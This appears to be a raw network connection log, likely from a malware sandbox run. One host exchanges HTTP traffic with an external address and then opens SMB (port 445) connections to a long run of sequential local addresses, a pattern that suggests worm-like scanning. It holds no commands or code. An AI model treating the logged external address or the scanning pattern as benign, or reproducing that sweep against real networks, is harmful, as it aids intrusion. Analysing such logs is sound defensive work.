Jul 6, 2024 14:10:23.672782898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672787905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672810078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672830105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672832966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672841072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672851086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672862053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672872066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672878981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672882080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672893047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672908068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672926903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.672955990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.672998905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.673023939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673033953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673044920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673074007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.673096895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.673118114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673244953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673255920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673264980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673274994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673285961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673295975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.673296928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673307896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673317909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.673317909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673333883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.673350096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.673520088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673531055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673541069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673552036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673563004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673564911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.673573971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673583984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.673592091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.673610926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.673623085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.674519062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.674580097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.674654007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.674691916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.674833059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.674876928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.675015926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.675170898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.675183058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.675214052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.675242901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.675349951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.675497055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.675508976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.675543070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.675568104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.676595926 CEST	49893	445	192.168.2.4	192.168.0.146
Jul 6, 2024 14:10:23.676649094 CEST	49890	445	192.168.2.4	192.168.0.143
Jul 6, 2024 14:10:23.676668882 CEST	49868	445	192.168.2.4	192.168.0.129
Jul 6, 2024 14:10:23.676702023 CEST	49863	445	192.168.2.4	192.168.0.124
Jul 6, 2024 14:10:23.676706076 CEST	49820	445	192.168.2.4	192.168.0.81
Jul 6, 2024 14:10:23.677170038 CEST	49894	445	192.168.2.4	192.168.0.147
Jul 6, 2024 14:10:23.677577972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.677630901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.677727938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.677740097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.677772045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.677903891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.677949905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.678102970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.678117037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.678149939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.678162098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.678239107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.678333044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.678384066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.678425074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.678569078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.678580046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.678613901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.678626060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.678755045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.678797007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.678953886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.678965092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.678993940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679003954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679090977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679104090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679114103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679126024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679141998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679168940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679230928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679241896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679251909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679264069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679272890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679275036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679284096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679291964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679295063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679305077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679313898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679315090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679325104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679342031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679359913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679375887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679388046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679388046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679399967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679409981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679409981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679420948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679421902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679430962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679440975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679450035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679450989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679461956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679471970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679476023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679481983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679495096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679507017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679532051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679534912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679548979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679559946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679569960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679579973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679584980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679591894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679603100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679610014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679613113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679624081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679632902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679632902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679646969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679665089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679676056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679676056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679687023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679696083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679697990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679708004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679718971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679724932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679728031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679739952 CEST	445	49819	192.168.0.80	192.168.2.4
Jul 6, 2024 14:10:23.679748058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679749012 CEST	445	49821	192.168.0.82	192.168.2.4
Jul 6, 2024 14:10:23.679758072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.679766893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679768085 CEST	445	49819	192.168.0.80	192.168.2.4
Jul 6, 2024 14:10:23.679776907 CEST	445	49873	192.168.0.4	192.168.2.4
Jul 6, 2024 14:10:23.679785967 CEST	445	49877	192.168.0.5	192.168.2.4
Jul 6, 2024 14:10:23.679792881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.679795027 CEST	445	49879	192.168.0.6	192.168.2.4
Jul 6, 2024 14:10:23.679805040 CEST	445	49880	192.168.0.7	192.168.2.4
Jul 6, 2024 14:10:23.679812908 CEST	445	49882	192.168.0.8	192.168.2.4
Jul 6, 2024 14:10:23.679825068 CEST	49819	445	192.168.2.4	192.168.0.80
Jul 6, 2024 14:10:23.679831028 CEST	445	49884	192.168.0.9	192.168.2.4
Jul 6, 2024 14:10:23.679841042 CEST	445	49818	192.168.0.79	192.168.2.4
Jul 6, 2024 14:10:23.679848909 CEST	445	49821	192.168.0.82	192.168.2.4
Jul 6, 2024 14:10:23.679877996 CEST	49818	445	192.168.2.4	192.168.0.79
Jul 6, 2024 14:10:23.679892063 CEST	49884	445	192.168.2.4	192.168.0.9
Jul 6, 2024 14:10:23.679910898 CEST	49821	445	192.168.2.4	192.168.0.82
Jul 6, 2024 14:10:23.680145025 CEST	445	49822	192.168.0.83	192.168.2.4
Jul 6, 2024 14:10:23.680180073 CEST	49822	445	192.168.2.4	192.168.0.83
Jul 6, 2024 14:10:23.680291891 CEST	445	49823	192.168.0.84	192.168.2.4
Jul 6, 2024 14:10:23.680342913 CEST	49823	445	192.168.2.4	192.168.0.84
Jul 6, 2024 14:10:23.680865049 CEST	445	49825	192.168.0.86	192.168.2.4
Jul 6, 2024 14:10:23.680905104 CEST	49825	445	192.168.2.4	192.168.0.86
Jul 6, 2024 14:10:23.683764935 CEST	445	49824	192.168.0.85	192.168.2.4
Jul 6, 2024 14:10:23.683774948 CEST	445	49827	192.168.0.88	192.168.2.4
Jul 6, 2024 14:10:23.683784008 CEST	445	49854	192.168.0.115	192.168.2.4
Jul 6, 2024 14:10:23.683794022 CEST	445	49855	192.168.0.116	192.168.2.4
Jul 6, 2024 14:10:23.683803082 CEST	445	49853	192.168.0.114	192.168.2.4
Jul 6, 2024 14:10:23.683815956 CEST	49824	445	192.168.2.4	192.168.0.85
Jul 6, 2024 14:10:23.683825016 CEST	49827	445	192.168.2.4	192.168.0.88
Jul 6, 2024 14:10:23.683834076 CEST	445	49826	192.168.0.87	192.168.2.4
Jul 6, 2024 14:10:23.683844090 CEST	445	49849	192.168.0.110	192.168.2.4
Jul 6, 2024 14:10:23.683859110 CEST	445	49843	192.168.0.104	192.168.2.4
Jul 6, 2024 14:10:23.683867931 CEST	445	49848	192.168.0.109	192.168.2.4
Jul 6, 2024 14:10:23.683876991 CEST	445	49847	192.168.0.108	192.168.2.4
Jul 6, 2024 14:10:23.683885098 CEST	445	49864	192.168.0.125	192.168.2.4
Jul 6, 2024 14:10:23.683893919 CEST	445	49858	192.168.0.119	192.168.2.4
Jul 6, 2024 14:10:23.683902979 CEST	445	49860	192.168.0.121	192.168.2.4
Jul 6, 2024 14:10:23.683912039 CEST	445	49892	192.168.0.145	192.168.2.4
Jul 6, 2024 14:10:23.683921099 CEST	445	49885	192.168.0.138	192.168.2.4
Jul 6, 2024 14:10:23.683929920 CEST	445	49891	192.168.0.144	192.168.2.4
Jul 6, 2024 14:10:23.683989048 CEST	445	49888	192.168.0.141	192.168.2.4
Jul 6, 2024 14:10:23.684000015 CEST	445	49889	192.168.0.142	192.168.2.4
Jul 6, 2024 14:10:23.684009075 CEST	445	49887	192.168.0.140	192.168.2.4
Jul 6, 2024 14:10:23.684017897 CEST	445	49886	192.168.0.139	192.168.2.4
Jul 6, 2024 14:10:23.684026957 CEST	445	49883	192.168.0.137	192.168.2.4
Jul 6, 2024 14:10:23.684035063 CEST	445	49881	192.168.0.136	192.168.2.4
Jul 6, 2024 14:10:23.684043884 CEST	445	49878	192.168.0.135	192.168.2.4
Jul 6, 2024 14:10:23.684052944 CEST	445	49876	192.168.0.134	192.168.2.4
Jul 6, 2024 14:10:23.684061050 CEST	445	49875	192.168.0.133	192.168.2.4
Jul 6, 2024 14:10:23.684070110 CEST	445	49835	192.168.0.96	192.168.2.4
Jul 6, 2024 14:10:23.684077978 CEST	445	49874	192.168.0.132	192.168.2.4
Jul 6, 2024 14:10:23.684086084 CEST	445	49871	192.168.0.131	192.168.2.4
Jul 6, 2024 14:10:23.684098005 CEST	445	49869	192.168.0.130	192.168.2.4
Jul 6, 2024 14:10:23.684112072 CEST	445	49833	192.168.0.94	192.168.2.4
Jul 6, 2024 14:10:23.684119940 CEST	445	49867	192.168.0.128	192.168.2.4
Jul 6, 2024 14:10:23.684128046 CEST	445	49861	192.168.0.122	192.168.2.4
Jul 6, 2024 14:10:23.684137106 CEST	445	49830	192.168.0.91	192.168.2.4
Jul 6, 2024 14:10:23.684145927 CEST	445	49866	192.168.0.127	192.168.2.4
Jul 6, 2024 14:10:23.684154987 CEST	445	49865	192.168.0.126	192.168.2.4
Jul 6, 2024 14:10:23.684164047 CEST	445	49862	192.168.0.123	192.168.2.4
Jul 6, 2024 14:10:23.684171915 CEST	445	49859	192.168.0.120	192.168.2.4
Jul 6, 2024 14:10:23.684180975 CEST	445	49857	192.168.0.118	192.168.2.4
Jul 6, 2024 14:10:23.684194088 CEST	445	49856	192.168.0.117	192.168.2.4
Jul 6, 2024 14:10:23.684202909 CEST	445	49852	192.168.0.113	192.168.2.4
Jul 6, 2024 14:10:23.684212923 CEST	445	49850	192.168.0.111	192.168.2.4
Jul 6, 2024 14:10:23.684223890 CEST	445	49851	192.168.0.112	192.168.2.4
Jul 6, 2024 14:10:23.684231997 CEST	445	49846	192.168.0.107	192.168.2.4
Jul 6, 2024 14:10:23.684254885 CEST	445	49845	192.168.0.106	192.168.2.4
Jul 6, 2024 14:10:23.684263945 CEST	445	49842	192.168.0.103	192.168.2.4
Jul 6, 2024 14:10:23.684273005 CEST	445	49841	192.168.0.102	192.168.2.4
Jul 6, 2024 14:10:23.684282064 CEST	445	49840	192.168.0.101	192.168.2.4
Jul 6, 2024 14:10:23.684290886 CEST	445	49839	192.168.0.100	192.168.2.4
Jul 6, 2024 14:10:23.684299946 CEST	445	49838	192.168.0.99	192.168.2.4
Jul 6, 2024 14:10:23.684308052 CEST	445	49837	192.168.0.98	192.168.2.4
Jul 6, 2024 14:10:23.684317112 CEST	445	49836	192.168.0.97	192.168.2.4
Jul 6, 2024 14:10:23.684324980 CEST	445	49834	192.168.0.95	192.168.2.4
Jul 6, 2024 14:10:23.684334040 CEST	445	49832	192.168.0.93	192.168.2.4
Jul 6, 2024 14:10:23.684343100 CEST	445	49829	192.168.0.90	192.168.2.4
Jul 6, 2024 14:10:23.684350967 CEST	445	49831	192.168.0.92	192.168.2.4
Jul 6, 2024 14:10:23.684355974 CEST	445	49828	192.168.0.89	192.168.2.4
Jul 6, 2024 14:10:23.684364080 CEST	445	49844	192.168.0.105	192.168.2.4
Jul 6, 2024 14:10:23.684372902 CEST	445	49826	192.168.0.87	192.168.2.4
Jul 6, 2024 14:10:23.684381008 CEST	445	49829	192.168.0.90	192.168.2.4
Jul 6, 2024 14:10:23.684389114 CEST	445	49828	192.168.0.89	192.168.2.4
Jul 6, 2024 14:10:23.684405088 CEST	445	49830	192.168.0.91	192.168.2.4
Jul 6, 2024 14:10:23.684418917 CEST	49826	445	192.168.2.4	192.168.0.87
Jul 6, 2024 14:10:23.684426069 CEST	49829	445	192.168.2.4	192.168.0.90
Jul 6, 2024 14:10:23.684451103 CEST	49828	445	192.168.2.4	192.168.0.89
Jul 6, 2024 14:10:23.684509039 CEST	49830	445	192.168.2.4	192.168.0.91
Jul 6, 2024 14:10:23.684928894 CEST	445	49831	192.168.0.92	192.168.2.4
Jul 6, 2024 14:10:23.684940100 CEST	445	49894	192.168.0.147	192.168.2.4
Jul 6, 2024 14:10:23.684981108 CEST	49831	445	192.168.2.4	192.168.0.92
Jul 6, 2024 14:10:23.685009956 CEST	49894	445	192.168.2.4	192.168.0.147
Jul 6, 2024 14:10:23.685113907 CEST	49894	445	192.168.2.4	192.168.0.147
Jul 6, 2024 14:10:23.685214043 CEST	445	49820	192.168.0.81	192.168.2.4
Jul 6, 2024 14:10:23.685225010 CEST	445	49863	192.168.0.124	192.168.2.4
Jul 6, 2024 14:10:23.685234070 CEST	445	49868	192.168.0.129	192.168.2.4
Jul 6, 2024 14:10:23.685244083 CEST	445	49890	192.168.0.143	192.168.2.4
Jul 6, 2024 14:10:23.685251951 CEST	445	49893	192.168.0.146	192.168.2.4
Jul 6, 2024 14:10:23.685497046 CEST	445	49820	192.168.0.81	192.168.2.4
Jul 6, 2024 14:10:23.685506105 CEST	445	49833	192.168.0.94	192.168.2.4
Jul 6, 2024 14:10:23.685534954 CEST	49820	445	192.168.2.4	192.168.0.81
Jul 6, 2024 14:10:23.685556889 CEST	49833	445	192.168.2.4	192.168.0.94
Jul 6, 2024 14:10:23.686258078 CEST	445	49835	192.168.0.96	192.168.2.4
Jul 6, 2024 14:10:23.686304092 CEST	49835	445	192.168.2.4	192.168.0.96
Jul 6, 2024 14:10:23.686726093 CEST	445	49837	192.168.0.98	192.168.2.4
Jul 6, 2024 14:10:23.686770916 CEST	49837	445	192.168.2.4	192.168.0.98
Jul 6, 2024 14:10:23.687509060 CEST	445	49836	192.168.0.97	192.168.2.4
Jul 6, 2024 14:10:23.687551022 CEST	49836	445	192.168.2.4	192.168.0.97
Jul 6, 2024 14:10:23.687678099 CEST	445	49884	192.168.0.9	192.168.2.4
Jul 6, 2024 14:10:23.687988997 CEST	445	49838	192.168.0.99	192.168.2.4
Jul 6, 2024 14:10:23.688030958 CEST	49838	445	192.168.2.4	192.168.0.99
Jul 6, 2024 14:10:23.688536882 CEST	445	49841	192.168.0.102	192.168.2.4
Jul 6, 2024 14:10:23.688580036 CEST	49841	445	192.168.2.4	192.168.0.102
Jul 6, 2024 14:10:23.688878059 CEST	445	49840	192.168.0.101	192.168.2.4
Jul 6, 2024 14:10:23.688916922 CEST	49840	445	192.168.2.4	192.168.0.101
Jul 6, 2024 14:10:23.689194918 CEST	445	49843	192.168.0.104	192.168.2.4
Jul 6, 2024 14:10:23.689235926 CEST	49843	445	192.168.2.4	192.168.0.104
Jul 6, 2024 14:10:23.689616919 CEST	445	49842	192.168.0.103	192.168.2.4
Jul 6, 2024 14:10:23.689661026 CEST	49842	445	192.168.2.4	192.168.0.103
Jul 6, 2024 14:10:23.689790964 CEST	445	49832	192.168.0.93	192.168.2.4
Jul 6, 2024 14:10:23.689845085 CEST	49832	445	192.168.2.4	192.168.0.93
Jul 6, 2024 14:10:23.690237045 CEST	445	49834	192.168.0.95	192.168.2.4
Jul 6, 2024 14:10:23.690283060 CEST	49834	445	192.168.2.4	192.168.0.95
Jul 6, 2024 14:10:23.690689087 CEST	445	49839	192.168.0.100	192.168.2.4
Jul 6, 2024 14:10:23.690742016 CEST	49839	445	192.168.2.4	192.168.0.100
Jul 6, 2024 14:10:23.690844059 CEST	445	49844	192.168.0.105	192.168.2.4
Jul 6, 2024 14:10:23.690884113 CEST	49844	445	192.168.2.4	192.168.0.105
Jul 6, 2024 14:10:23.691423893 CEST	445	49847	192.168.0.108	192.168.2.4
Jul 6, 2024 14:10:23.691462994 CEST	49847	445	192.168.2.4	192.168.0.108
Jul 6, 2024 14:10:23.691764116 CEST	445	49846	192.168.0.107	192.168.2.4
Jul 6, 2024 14:10:23.691802979 CEST	49846	445	192.168.2.4	192.168.0.107
Jul 6, 2024 14:10:23.692239046 CEST	445	49845	192.168.0.106	192.168.2.4
Jul 6, 2024 14:10:23.692248106 CEST	445	49848	192.168.0.109	192.168.2.4
Jul 6, 2024 14:10:23.692256927 CEST	445	49849	192.168.0.110	192.168.2.4
Jul 6, 2024 14:10:23.692265987 CEST	445	49894	192.168.0.147	192.168.2.4
Jul 6, 2024 14:10:23.692281008 CEST	445	49850	192.168.0.111	192.168.2.4
Jul 6, 2024 14:10:23.692290068 CEST	445	49855	192.168.0.116	192.168.2.4
Jul 6, 2024 14:10:23.692290068 CEST	49845	445	192.168.2.4	192.168.0.106
Jul 6, 2024 14:10:23.692297935 CEST	445	49853	192.168.0.114	192.168.2.4
Jul 6, 2024 14:10:23.692305088 CEST	49848	445	192.168.2.4	192.168.0.109
Jul 6, 2024 14:10:23.692306995 CEST	445	49856	192.168.0.117	192.168.2.4
Jul 6, 2024 14:10:23.692316055 CEST	445	49863	192.168.0.124	192.168.2.4
Jul 6, 2024 14:10:23.692332029 CEST	49849	445	192.168.2.4	192.168.0.110
Jul 6, 2024 14:10:23.692338943 CEST	49850	445	192.168.2.4	192.168.0.111
Jul 6, 2024 14:10:23.692348957 CEST	49855	445	192.168.2.4	192.168.0.116
Jul 6, 2024 14:10:23.692379951 CEST	49853	445	192.168.2.4	192.168.0.114
Jul 6, 2024 14:10:23.692400932 CEST	49856	445	192.168.2.4	192.168.0.117
Jul 6, 2024 14:10:23.692538977 CEST	445	49864	192.168.0.125	192.168.2.4
Jul 6, 2024 14:10:23.692564011 CEST	49863	445	192.168.2.4	192.168.0.124
Jul 6, 2024 14:10:23.692586899 CEST	49864	445	192.168.2.4	192.168.0.125
Jul 6, 2024 14:10:23.692771912 CEST	49895	445	192.168.2.4	192.168.0.148
Jul 6, 2024 14:10:23.692868948 CEST	445	49861	192.168.0.122	192.168.2.4
Jul 6, 2024 14:10:23.692910910 CEST	49861	445	192.168.2.4	192.168.0.122
Jul 6, 2024 14:10:23.698116064 CEST	445	49851	192.168.0.112	192.168.2.4
Jul 6, 2024 14:10:23.698170900 CEST	49851	445	192.168.2.4	192.168.0.112
Jul 6, 2024 14:10:23.698232889 CEST	445	49857	192.168.0.118	192.168.2.4
Jul 6, 2024 14:10:23.698242903 CEST	445	49866	192.168.0.127	192.168.2.4
Jul 6, 2024 14:10:23.698252916 CEST	445	49852	192.168.0.113	192.168.2.4
Jul 6, 2024 14:10:23.698262930 CEST	445	49865	192.168.0.126	192.168.2.4
Jul 6, 2024 14:10:23.698278904 CEST	49857	445	192.168.2.4	192.168.0.118
Jul 6, 2024 14:10:23.698286057 CEST	49866	445	192.168.2.4	192.168.0.127
Jul 6, 2024 14:10:23.698304892 CEST	49852	445	192.168.2.4	192.168.0.113
Jul 6, 2024 14:10:23.698312044 CEST	49865	445	192.168.2.4	192.168.0.126
Jul 6, 2024 14:10:23.698390007 CEST	445	49858	192.168.0.119	192.168.2.4
Jul 6, 2024 14:10:23.698436022 CEST	49858	445	192.168.2.4	192.168.0.119
Jul 6, 2024 14:10:23.698681116 CEST	445	49854	192.168.0.115	192.168.2.4
Jul 6, 2024 14:10:23.698721886 CEST	49854	445	192.168.2.4	192.168.0.115
Jul 6, 2024 14:10:23.699151039 CEST	445	49859	192.168.0.120	192.168.2.4
Jul 6, 2024 14:10:23.699189901 CEST	49859	445	192.168.2.4	192.168.0.120
Jul 6, 2024 14:10:23.699475050 CEST	445	49860	192.168.0.121	192.168.2.4
Jul 6, 2024 14:10:23.699511051 CEST	49860	445	192.168.2.4	192.168.0.121
Jul 6, 2024 14:10:23.699641943 CEST	445	49862	192.168.0.123	192.168.2.4
Jul 6, 2024 14:10:23.699678898 CEST	49862	445	192.168.2.4	192.168.0.123
